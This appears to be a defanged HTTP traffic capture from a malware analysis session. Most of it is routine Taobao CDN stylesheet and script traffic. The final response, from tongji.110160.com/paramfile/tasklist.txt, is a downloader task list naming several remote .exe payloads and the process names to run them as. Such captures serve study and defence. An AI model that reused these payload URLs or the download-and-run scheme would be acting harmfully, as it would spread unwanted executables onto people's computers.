Via: cache33.l2de1[0,304-0,H], cache25.l2de1[0,0], cache1.de1[0,200-0,H], cache5.de1[1,0]

Age: 3491

X-Cache: HIT TCP_MEM_HIT dirn:4:651877635

X-Swift-SaveTime: Mon, 01 Jun 2015 17:06:19 GMT

X-Swift-CacheTime: 3600
/* JBC-V2 build, 2015-03-25 4:08:36 PM */...ks-track,.ks-track-hover,.
ks-track-active,.ks-scrollbar,.ks-arrowup,.ks-arrowup-hover,.ks-arrowu
p-active,.ks-arrowdown,.ks-arrowdown-hover,.ks-arrowdown-active,.ks-dr
ag,.ks-drag-hover,.ks-drag-active,.ks-dragtop,.ks-dragbottom,.ks-dragc
enter{width:10px}.ks-scrollbar{position:absolute;top:0;right:0;bottom:
0;background-color:#e3e3e3}.ks-track-hover{background-color:#d9d8d8}.k
s-track-active{background-color:#d9d8d8}.ks-track{position:absolute}.k
s-arrowup,.ks-arrowdown,.ks-arrowup a,.ks-arrowdown a{display:block;te
xt-indent:-1000px;width:8px;height:8px;overflow:hidden;border:1px soli
d #000;right:0;position:absolute}.ks-arrowup a,.ks-arrowdown a{border:
0}.ks-arrowup{background-color:#959695;top:0}.ks-arrowup-hover{backgro
und-color:#9ccae3}.ks-arrowup-active{background-color:#3c7fb1}.ks-arro
wdown{background-color:#959695;bottom:0}.ks-arrowdown-hover{background
-color:#9ccae3}.ks-arrowdown-active{background-color:#3c7fb1}.ks-drag{
background-color:#979797;position:absolute}.ks-drag .ks-dragtop,.ks-dr
ag .ks-dragbottom{display:none}.ks-drag .ks-dragcenter{position:absolu
te;top:50%;margin-top:-10px;height:20px;background-color:#18598a}.ks-d
rag-hover{background-color:#9ccae3}.ks-drag-active{background-color:#3
c7fb1}.clear-track,.clear-track-hover,.clear-track-active,.clear-scrol
lbar,.clear-arrowup,.clear-arrowup-hover,.clear-arrowup-active,.clear-
arrowdown,.clear-arrowdown-hover,.clear-arrowdown-active,.clear-drag,.
clear-drag-hover,.clear-drag-active,.clear-dragtop,.clear-dragbott
<<< skipped >>>

GET /ju/??jupopup/1.0.7/box-min.css?t=16588.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 4767

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:06:20 GMT

Last-Modified: Mon, 23 Mar 2015 09:46:47 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache58.l2de1[592,304-0,H], cache22.l2de1[593,0], cache1.de1[0,200-0,H], cache5.de1[0,0]

Age: 3050

X-Cache: HIT TCP_MEM_HIT dirn:0:11732567

X-Swift-SaveTime: Mon, 01 Jun 2015 17:06:20 GMT

X-Swift-CacheTime: 3600
.ju-popup-wrapper{width:100%;height:100%;position:fixed;_position:abso
lute;top:0;left:0;z-index:9000}.ju-popup-mask{background-color:#999;wi
dth:100%;height:100%;opacity:.5;filter:alpha(opacity=50);position:abso
lute;left:0;top:0}.ju-popup-hidemask .ju-popup-mask{display:none}.ju-p
opup{position:relative;border:7px solid #BBB;width:350px;top:30%;margi
n-left:auto;margin-right:auto;-moz-border-radius:5px;-khtml-border-rad
ius:5px;-webkit-border-radius:5px;border-radius:5px;z-index:5000}.ju-p
opup .hd{height:22px;line-height:22px;padding-left:8px;background-colo
r:#DC442F}.ju-popup .hd h3{color:#FFF;font-size:12px}.ju-popup-wrapper
 .error .hd,.ju-popup-wrapper .failure .hd,.ju-popup-wrapper .prompt .
hd{background-color:#CA0002;font-weight:700}.ju-popup-wrapper .success
 .hd{background-color:#8EAF1B}.ju-popup-wrapper .white .hd{background-
color:#fff;font-weight:700;border-bottom:1px solid #D1D1D1;zoom:1}.ju-
popup-wrapper .white .ft .btn-close{color:#C9C9C9}.ju-popup-wrapper .b
d .icon{float:left;width:60px;height:50px;background:url(//assets.alic
dn.com/app/sns/img/emots.png) -1000px -1000px no-repeat;min-height:50p
x;_height:50px;margin-left:-60px;position:absolute}.ju-popup-wrapper .
failure .bd,.ju-popup-wrapper .prompt .bd,.ju-popup-wrapper .success .
bd{padding-left:85px;min-height:50px;_height:50px}.ju-popup-wrapper .p
rompt .bd .icon{background-position:0 -100px}.ju-popup-wrapper .failur
e .bd .icon{background-position:-60px -50px}.ju-popup-wrapper .success
 .bd .icon{background-position:-120px 0}.ju-popup .bd{background-c
<<< skipped >>>

GET /ju/home/1.3.5/pages/2015/index.less.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 3730

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:06:09 GMT

Last-Modified: Thu, 21 May 2015 09:58:29 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache19.l2de1[0,304-0,H], cache8.l2de1[1,0], cache5.de1[0,200-0,H], cache4.de1[0,0]

Content-Encoding: gzip

Age: 3058

X-Cache: HIT TCP_MEM_HIT dirn:6:277250102

X-Swift-SaveTime: Mon, 01 Jun 2015 17:35:41 GMT

X-Swift-CacheTime: 3600
...........[ko.F.. ....^..$..(.h..m.......G..I.)R .........;3|..cQ..eq
.w........-D|..4/......f..d...*..g..o.!2n1...7...l.n.q.F.."?d1...a.d.z
....i....w.y.TI....*Q8w....K./..:..b.d....*_..8N.....*...VK'.m..EQ%Q..
a.l....<....... .T....".I.<..Q...Cy...$....x.....X.<.t...y...
Y....1..m0...7.....r!...\..z..HA..b.....1.&q,2{jg;=...r.......e.bK..:O
..L&........r.....S..5..V.S-..k.{=..H..e..... ../.Q.9\....X..f[....r..
.E..C*.!..........R...~K.........J.QP#.....$.d.../\~...h/..3..........
.W.x5<.....L*.K....|..r...as...#......V6y..-2.c{>..1N.=...6.....
U.e.PZ.....J.>..[...>..CRA4=..6...}.c....*|._..7../.].u\.1....f.
.@GE.....(.|..\~..(....mx...VTM....F.2.1.~u........);'..S3L.(u{.;..S..
.....'. ...g..="/...Pf.k).;...E.S.}..;.1.%8.....M. ....?.3/.wW...J&W..
N..o...?.Wx..........u'3....}.9wT.R.t....E.,-..*...~m.........W7.b..,.
..9ir4..-;...*..f..,.v.../.I.U4...&...?.........r...9.......C.)...k~..
.^|._:.....!$.P..~s.X......>[email protected]....;...WS.v.M....=.2K.[Y.J .t
(...:A.h...>0.........~w..*..\.J.s..&-.E%:.%..}. Z.2.W.TD.. {..Zd..
..r6.\\_z......l.:.......GPGuT;[email protected]...`...z<...
...e].;Q:F.#..#.V.{.%..z..\6...n....Ag......."~DyP7.!1U...K*]....86*C.
.......p..b.2L.jl%....jU. .9...x...a)...Kt?V^....[{=^...Je..,.P...v...
.....).a.Q.4.o.J..[...t..@..".......J&..m$.H...V.U. .1......V.hT"p..;3
..Y5.b6..*.........E...oqg....A*....\Y..X..o.5.W..u.%.........a{..4...
Rb..Wi.=...m.u.`Fv|6-..{%.#.j....m......5F|..B..n8.>Y>....Uve.#.
.....h[m..........g... >..:...B..QkhaR..UG..-..lL.8.,|...^.k.B.
<<< skipped >>>

GET /alilog/mlog/aplus_v2.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 11398

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:50:43 GMT

Last-Modified: Thu, 28 May 2015 08:49:58 GMT

Cache-Control: max-age=7200,s-maxage=3600

Vary: Accept-Encoding

Via: cache64.l2de1[604,304-0,H], cache20.l2de1[294,0], cache8.de1[0,200-0,H], cache4.de1[0,0]

Content-Encoding: gzip

Age: 385

X-Cache: HIT TCP_MEM_HIT dirn:7:448046698

X-Swift-SaveTime: Mon, 01 Jun 2015 17:50:43 GMT

X-Swift-CacheTime: 3600
...........}.w.H.._.u..P...q.[Da9......c'..0.*@6.Ab$........*.$p&so...
.T/...y.s..|..j....wv..j...~.Z./....h..qT...;.le~..^.... [email protected].$
..Q.e...d..HR4i....;..9..:#g....3s.......h..;..8.-fA.9.........u..N...
...8."1...7.w.....v... ../....?...."......\Z.s.....I.l.D[s....i,2.;..S
1... .y....'U...Y...\....m..{.m'.G..z...$...V.w.N=.|.D6....2..Y.].....
i..Z.k.k.:....:......8.|.rN.O..s..F= .?.8>..................U...n..
....7.w......2.....Q].^k.\...f....[...f.?] .&Aby..9/U........8.K......
......}.m9.H...V.)e..Y?...d./a....]......b..0N..$..N)%6...Q.eq:A...q..
h.`.H.....y.........N.h...).VF......Z{.n..jP.l..h..s..L.&.0..(..}G.-'.
3w.D7......FC...;.m..f;x8.f...@Sj).......:..e......`Ik......Y8....A...
.|}..0....Q/...>6...WI7......Y.f......"............v{..............
...g..Y....{....s....wZ.,p.....N/...v.......:}.....{A4...;;o,...Z...%.
[email protected]..;.....A.O...6.<.{G.{.z..nc.2O0..m4I.Y..Rq-.P.].`|..~..bap
....x.$B....p.g...9.$.N..|"@..o.N...p..:5..f).."........kE..C.....:...
.Vi Z..Z....25....KqC....A.Q..vyz.n.y...x.6W.[...y.v....A. .s...9v....
. }..... .}.[a.........=..A....s7..F.).).y.(...`....`....4........H...
*.|KR.>rT.T.1[8;...W....?..s]..SEQ.3k.2.m.,W.4.L.....S K.....$....4
.N.,..M...LO...A/......5!..]I....>.,......nW)KM'....].x5S9.X.pJ..`.
E..0.Z..l.%...F.,>....P`....U.S...[J(4C=.n.).i..B.........L>.N..
.....$.O.K.1...GLG..b.....I,A=g.WM...T......u....P..l.Z>.9.y.c....j
..D..d....I.X.....*.....bKq.g...Uy.g....0.Y.......>s..Q.A.Fm...h..r
.4.....$r$.*.....j.. .8...Ni.... i.z.z.|.."....N........;.=...Ki..
<<< skipped >>>

GET /ju/??lazyload/1.1.7/index-min.js,julog/1.0.10/index-min.js,julogin/1.1.3/index-min.js?t=16588.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 6096

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:51:42 GMT

Last-Modified: Thu, 21 May 2015 09:58:06 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache44.l2de1[0,304-0,H], cache48.l2de1[1,0], cache5.de1[0,200-0,H], cache4.de1[0,0]

Content-Encoding: gzip

Age: 3926

X-Cache: HIT TCP_MEM_HIT dirn:2:268168386

X-Swift-SaveTime: Mon, 01 Jun 2015 17:15:57 GMT

X-Swift-CacheTime: 3600
...........[[s#.u. `...1......4Bq)mLy- .*..fP...0..4<3.eA.-..<..
.<%O.r^......DN._.;.=.....*[.......~z.v~q.KOD...'a/....%....x/zq..{
...,,c.9%.\.. ......;..]..(...Eq.H.C0....Q._.T...oE........t..Q|..s..[
.\f.W*.^..2/_.....s..iq .[.,.0.:...o*....h."P..|XH.......q....\....;,.
..8(....e.`..g..>L...fA.s..r.gN....}|....f..H.).*.1.....7.[..s=e..C
...j....]..;.7.)........h...n..jY..;....u....e<....MK{e.R-.S=cc.%..
...pE{....B.....do....C..n,..`... ..9-...R-.4XQ./8j....._t.3|..R...K.Y
.k.. .-N]...3}.....-..[.....%.`UO..o.sQ..T.....I..(.li.c0.m...E......D
R7S.>C{.....o..g #l..o.P..j.q...........u.>..B.....RP&.:f...@...
.ND..br-..QD. .....K Oy..J...-.p.....5CSWQ...T...$....3oL...o..U..5...
T....).=x..d.L...7a.......ib...,.. .T.]..,..BN}q....y..,"...tvP.!....!
.....N~.....tf.\J..p....$y|.w.<..mw.dI....*...$.#@..5I8P.Po..F. F.A
k............K.,.^...v[",....J.g$I.X........W.P..n.s.z......B.}..zsU.|
..^d......R......H.Q{-.."`..../2..Ir*.I..$`..$.w. .\%.... .2........e.
.G.&....\......"h........B...a"..(....w..)...Uw.YN...^..6.x..m4...l...
...d..7ph...z......l/(1U...&0..#..e.O .AfkA.5..G..........(.(-.....!.!
K[.......{A.y.}....`...._..!./.o..9w.P..[(\..H..8..#B.\..l... .vW.....
.b.X..t......]8zG.7?DN..m.,.z...}s...x:..,......2..\%...V.....F{.7...R
.^..a./.j.^..k....^....@(n .4........;\...5......9....r......&.;..JnA.
...&.d........e.>.........`...,..g.$..j.x..N.l..k...Ff.3....O...=/e
Z.w5...?..*.=?S.4.q.9.. ...iL_...J..#.........$..T..a..0.=..#qX4D...Co
c.P.P..`0E[.e.....3.Y...jV=.%.naN..h.U..... ^.f..7V<K-Sxu..E|0;
<<< skipped >>>

GET /alilog/mlog/??spm.js,spmact.js?v=141204 HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 5866

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:01:53 GMT

Last-Modified: Thu, 28 May 2015 08:49:58 GMT

Cache-Control: max-age=7200,s-maxage=3600

Vary: Accept-Encoding

Via: cache25.l2de1[0,304-0,H], cache59.l2de1[0,0], cache1.de1[0,200-0,H], cache4.de1[0,0]

Content-Encoding: gzip

Age: 6915

X-Cache: HIT TCP_MEM_HIT dirn:4:658536819

X-Swift-SaveTime: Mon, 01 Jun 2015 17:00:52 GMT

X-Swift-CacheTime: 3600
...........[...6.. #.......q.VZ.........]N.U..I...P.hdI........N..WWu.
.2E. .h...nL..E....w.........{.........<Lb............$..y..e2/..L.
..].B_..X......_....w,....."_..If.........N..nZ..v>..g..<..y..3.
...v;w.2...Y8 r..?....-k`Y..1..bg..m..........dS.f..-YI..'.Qr-kR..NZAQ
3VI.e9...`,X.)..rs.F.....5.{..u.q{4.o.cw<>...N:...,..m[.x..8..}.
..NWan[..T... .V..1..k{...q o^...z.."Po......b.ga..,f.rE?.hM?..Wy..#..
...H.z,.I..d..0......Q<q.r.[.f^..-..5.;^X q..d~.7....(.]I??{.eb;Aw.
J5.i...}...[5V-..:!........Y........e7../[email protected]=..f<.,.....~&...
...0^w.....`..#.O.....;.c........4...hH...:....@.....$J.X.d...>T..7
./`>....k.....OV2.....wb.RD...R..3.M......V...zG2.X.hb.),.m.".eL@. 
..Z.....G.......f\...3Gg9Z..h.%y!'<..XZ8...WI....9..3,...Y.&..O....
.0/.?....Y"]...\fQ....E.1.bp.3..4..'q..Y.p.I.Q.:kx}}L.&....b^._..._.$d
<...&..|x.O%.I*U...\...../[email protected](.\Of(z..`3.1pR..C. .? hN...
..Y. ...%.i....Y42.j.`...y..X../..K..5&...rY.o.;:l.yh..Y.~.......N..t.
.n..M..s;.......i.R/D.t....|...|w..w.....3..Id;Nm............n.&JN.Y..
A...X.....$.Y..'..bnY.|$', .u.'.B:^<..(CG..Y.....YV.M...../.....,$.
`!..$..0#...Q6!..DAw}....F.#n#.AM..7........L.-v..(.....De-..].1".Qy.\
....../b.]'ap.s.@=.....J.JbB-NG2. .(..~.......I...7....~.....9.......^
...C.j..1SNB(......_.9v}..\V..V.^C!2.{.....9H..b-.d.[CZfvD.....s0v.U.X
.u....._...p^" .2@......^.c/....=....%...?.gosP...3...P.U...0.f..Gc...
..g.@_..i.-.V.HW...}..Y..x.......^..z/q.......m....3hF..!.nd.%0....{).
...6....;a'.....0.y..v.|.G....,s.7.........3.......hq.........'.k.
<<< skipped >>>

GET /ju/??jufav/1.0.29/index-min.js?t=16588.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 6052

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:56:05 GMT

Last-Modified: Thu, 26 Mar 2015 05:59:10 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache63.l2de1[0,304-0,H], cache31.l2de1[0,0], cache10.de1[0,200-0,H], cache4.de1[0,0]

Content-Encoding: gzip

Age: 3664

X-Cache: HIT TCP_MEM_HIT dirn:2:353488538

X-Swift-SaveTime: Mon, 01 Jun 2015 17:06:19 GMT

X-Swift-CacheTime: 3600
...........[is....>..FjD .A..)..U...8/N2.3.W.K...$$,4.-.....n4.R...
x....@...}.....|........;^.F......o..............t....?^.{.O....]z...\
...c..p:.. ...Ko5sQ&~....L........e...,.E........ruf....d..k....E....b
.._.KW....,.K..Lc....y...H.x].8...&ck.......=.g....=S.....ly.&..I.Q...
...~a..(..\Mj...f.t..i..H3Ky.J5.ZL.,.......&X.f......I.y.......=...Km.
.....uo.$Ho......].K Hc.&......].X..i.AG..........KK<...z,..^.4..1#
...OL8..a.....~..w...\G).x..^~y..<M.~.E./.b.]Y."..<.yg....~.?.q.
..nyY:...(.7.HY..'h"r^.....f....`.M.E..z..[$.b'&.....M.b>.h....k&O.
..E.s...fj..4...}|0..>.<..y.1.....L.V>.......}$..F.B4...A^..x
...]@..3.$..;[email protected]...>.<k......[.a...B^.a.=?..f-i...{
.....|(.C..P..'G...=b....q=.........k.<.O...16=.Da.......U..)..}.8.
M.?[[email protected]?..G............49.N........k{.....v.zGZ..i..4<.9...rj
...7.9Z.6....Cy..A....!..6..L......[...ems..${.`.`..d...0.j......%....
....X..>...?..X...L.m........i.-...!dp...)%\....f.q..).u4t...7=.:.1
...;..q.9../.S.....`.IX.j.O>...Ye..T........o....0...f.ma.`$.....a.
.`.......>j..a..*k..........{......~v...;..pe...F..2K4..3....V.....
D7N....8..gd..[...Sf.p...........G.....m..ooQ.......z.Oc#v}&-...F..R..
[email protected]{..B.5.E..T%3q".y........3.0...U.vO.l......o ....c....}.
..& .,.fX..-..f....eR........v.....%. K.q......d[^.)....-...{W.../....
.l4H*..Z.\.|..sS.>....<s...I.4.........8..F..G..;&k.`..........R
[email protected]:d.*..L..jsp.}o.<A.2.,c ...0 .....:....).1.`..}.u.
.K...c=.`.....1...J...N<.9Wo..^.Ojm..`1..Sl[C..._'.uH..$..-.1..
<<< skipped >>>

GET /ju/??jupopup/1.0.7/index-min.js?t=16588.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 1734

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:56:07 GMT

Last-Modified: Mon, 23 Mar 2015 09:46:47 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache21.l2de1[0,304-0,H], cache41.l2de1[0,0], cache10.de1[0,200-0,H], cache4.de1[1,0]

Content-Encoding: gzip

Age: 3662

X-Cache: HIT TCP_MEM_HIT dirn:5:355566119

X-Swift-SaveTime: Mon, 01 Jun 2015 17:04:52 GMT

X-Swift-CacheTime: 3600
...........WMo.6.. ...H0-....Z....H..-`.E...V..2...H.....sz..[...$....
....oH}.k.)..Cq.....7........i..g.d.YU..*vv.QpwG...`|Z...*...:....Lp..
#....3...G...NKE.e./..TF.e!...D.I.e^\...Nj.\.S.9k..("e5../L..E......K.
.3.....L.t0Zs...K.. .b.#.....l/b}...v ..N....y..... #M&.{;X...$.|.....
D...C......<..Q.n]...RL#....."...?.z....W......o..eb..$SZ.......{;q
............w/~~..O.).!c........\..vy\.u<W....?/..aJ..25......e*..?
.=..p....%|..f.....0!{....o~qH.......Z@.<..~..U...U-.>^.H]^.*...
&*]r{.....i.Q...p.a....>u.......E5..@O5#.y._.........p...."6.~&.9..
e>....1...y...([email protected]...{.,R\..(...,;$.\.OqI[Z.oTqL..m}.......
..!...'..89.`ZP..<.v..e.n...~qkk.{^tI!wV.#.E....q..)e>.*RR....L]
M4.\..i....4.%yS ...G2m2.].!|N.C*\..........:..z!J..}x......X.P....|.F
.../. ...]....8N.':s....V....k....UN.cA.....7..............n|.w...(.$.
D>3s...c9.*..JOF.....rk.O..B.F`;k..l.."...V.D>...[lo......769.Xh
n..`....^'%zc.........|......."....J..V.%[email protected]........,$..Q
.d.;..D....X.^.......V.'.............O..eB]{.T)g.b...|3.;w..qzy.R.)oh.
>.....w.....~$m..Z..=k....o.%..q..Mw...y&.. .p.3r....4....&U4.<.
I...D.W(..X.;..bj..#... Q..r..s...N.Cg-,[email protected]...[.....v=.........q..
...n..._....P.XmrZ...7....P/..(<f.'.L.e..`...K..0g.r.e.!.U.p..9J...
{P"NP.....Q.qV.cO.q".2...A...I.x........(.zY.#.l...j..T.d.....e....W..
'....6...s!gs..5..n\o..... ..aC.}.p....i...EK......Zt.M-....Q.....m.Dp
&.y.J.!o3..5.t...F..e>.TT..... =w...;.9..l.......u..>.d.G. .uu..
R..{7....z......0.D\.`...=..4B%5.....f..9.Y.s.ba<..~C^.-...yFS*
<<< skipped >>>

GET /sd/data_sufei/1.4.3/aplus/index.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 12395

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:06:44 GMT

Last-Modified: Tue, 19 May 2015 06:37:16 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache22.l2de1[0,304-0,H], cache24.l2de1[0,0], cache6.de1[0,200-0,H], cache4.de1[1,0]

Content-Encoding: gzip

Age: 6626

X-Cache: HIT TCP_MEM_HIT dirn:5:134730621

X-Swift-SaveTime: Mon, 01 Jun 2015 17:06:25 GMT

X-Swift-CacheTime: 3600
............kw..........-..(.....].......s..d/..D.....e.T..y....u.d&k.
..D.A..}.~../....u6 .y..|i...>...jtq..........jN....o...N.........~
.u.../..lz.&.L......qZ..I.g..=I..F.4....t8.|..yR.f.i.m~..*.......r>
.Z....:..Z$.o.p....>.N..(......?...MY,...U..|[......N/..EZ..l...tt.
.......YB}QG....C7..........?>pg.'[email protected]..=uc...S^t....BiR. '.&..
t...&...q8v.p.....lY$=...W?.......Aob..!... ....I1Z./Ve..-.vTLZ...)Nt.
N..]c.u..o.4cv.S.f{..g0....._....K....?..{|m.z..iz^y.:.....V..&..?...\
.i..vZ$v..OE.i.1...V:L...#.f..y. l..3......iD3c..KFE.....z~.7.i...;...
g.v...o....g....f`........N....l.....%M...|@... ...\.....I4.mf..!..=..
}:..|.u...!..RA..l..Hr.-.FK.x5..}.Y...t.J.~o...Y...............bt[.e^~
.MG&`..3.R..ihG..DNh..........}.........D.........Ya..q.y..xb...-/.. .
...8......V.x|....91..^.YQ4......s.;.|......1.X..r.m3.g...9.8.\?.c..=.
[email protected].\/.-Dd.q.FVd...;!.......@P....'A....cd..... `v
..C..<;.B.....8...L."..r...])....7.-'........v...8,d..?T.[.c{n,.q.8
...Q..u. .1.w.q4.#V.D..y..."...bt..2...B./.9.cQ....1......c.....$V.".i
...,...6....fx'.....n<.{L...&..;......0,..c.r...b/..\o..!.E!r...r#V
..6S..7..X../.\s[.v<...N..>[email protected]...=.1.#.#
..........G.w....t.glc...YJ..8.Y.3......Rx w....#.$..6.c....Rd.....Z..
`e....!..,>..\<..n.........G....l..|.@....,....c.0.P<J....J..
 ..8.c...... ...f..H9...>k.V0/.q.!.b.l...1..QA.T...........`.......
.|..1PK$W..........b...>.r.E.r .3t...m.v<...8./.0=..^..BIc'...C.
.......<D4..aq..x....H" ?.4.w.;.|F...*.....<9.&.E...b.{,l...
<<< skipped >>>

GET /9.gif?abc=1&rnd=695925969 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cnzz.mmstat.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:03 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:03 GMT; path=/; domain=.mmstat.com

Set-Cookie: sca=c61637c3; path=/; domain=.cnzz.mmstat.com

Set-Cookie: atpsida=a092cdbefaedf9c030662491_1433181423; expires=Thu, 29-May-25 17:57:03 GMT; path=/; domain=.cnzz.mmstat.com

Location: hXXp://pcookie.cnzz.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Mon, 01 Jun 2015 17:57:03 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=74rzDSF6YR
ECAcGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:03 GMT; path=/; domain=.m
mstat.com..Set-Cookie: sca=c61637c3; path=/; domain=.cnzz.mmstat.com..
Set-Cookie: atpsida=a092cdbefaedf9c030662491_1433181423; expires=Thu, 
29-May-25 17:57:03 GMT; path=/; domain=.cnzz.mmstat.com..Location: htt
p://pcookie.cnzz.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt..Expires: T
hu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cach
e..GIF89a.............!.......,...........L..;..

GET /paramfile/tasklist.txt HTTP/1.1

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/5.0

HTTP/1.1 200 OK

Content-Length: 2904

Content-Type: text/plain

Last-Modified: Mon, 01 Jun 2015 11:58:28 GMT

Accept-Ranges: bytes

ETag: W/"c6ea645629cd01:125c"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:56:55 GMT
...Y73;hXXp://down.y73shop.com:173/down/Y73P2PSearcher_4.exe;Y73P2PSea
rcher_4.exe;0;0;......;0;1;Y73Server.exe;1...........;hXXp://down.ybof
ang.cn/small/sw/-2100_1_xcfx.exe;-2100_1_xcfx.exe;0;0;......;30;1;MiLa
i.exe;3..............;hXXp://pc.tgi-cn.net/down/069.exe;069.exe;0;0;..
....;0;0;yqtj.exe;2.................;hXXp://down.chuaijiu.com/jxjjq_30
02_s.exe;jxjjq_3002_s.exe;0;0;......;0;0;jjqix.exe;99..............114
;hXXp://down.xqt18.com/update/chengzi/CzSetup@S_354.exe;CzSetup@S_354.
exe;0;0;......;0;0;ChengZi.exe;106.................;hXXp://down.meituv
iew.com/MTViewbuildmtview_125.exe;MTViewbuildmtview_125.exe;0;0;......
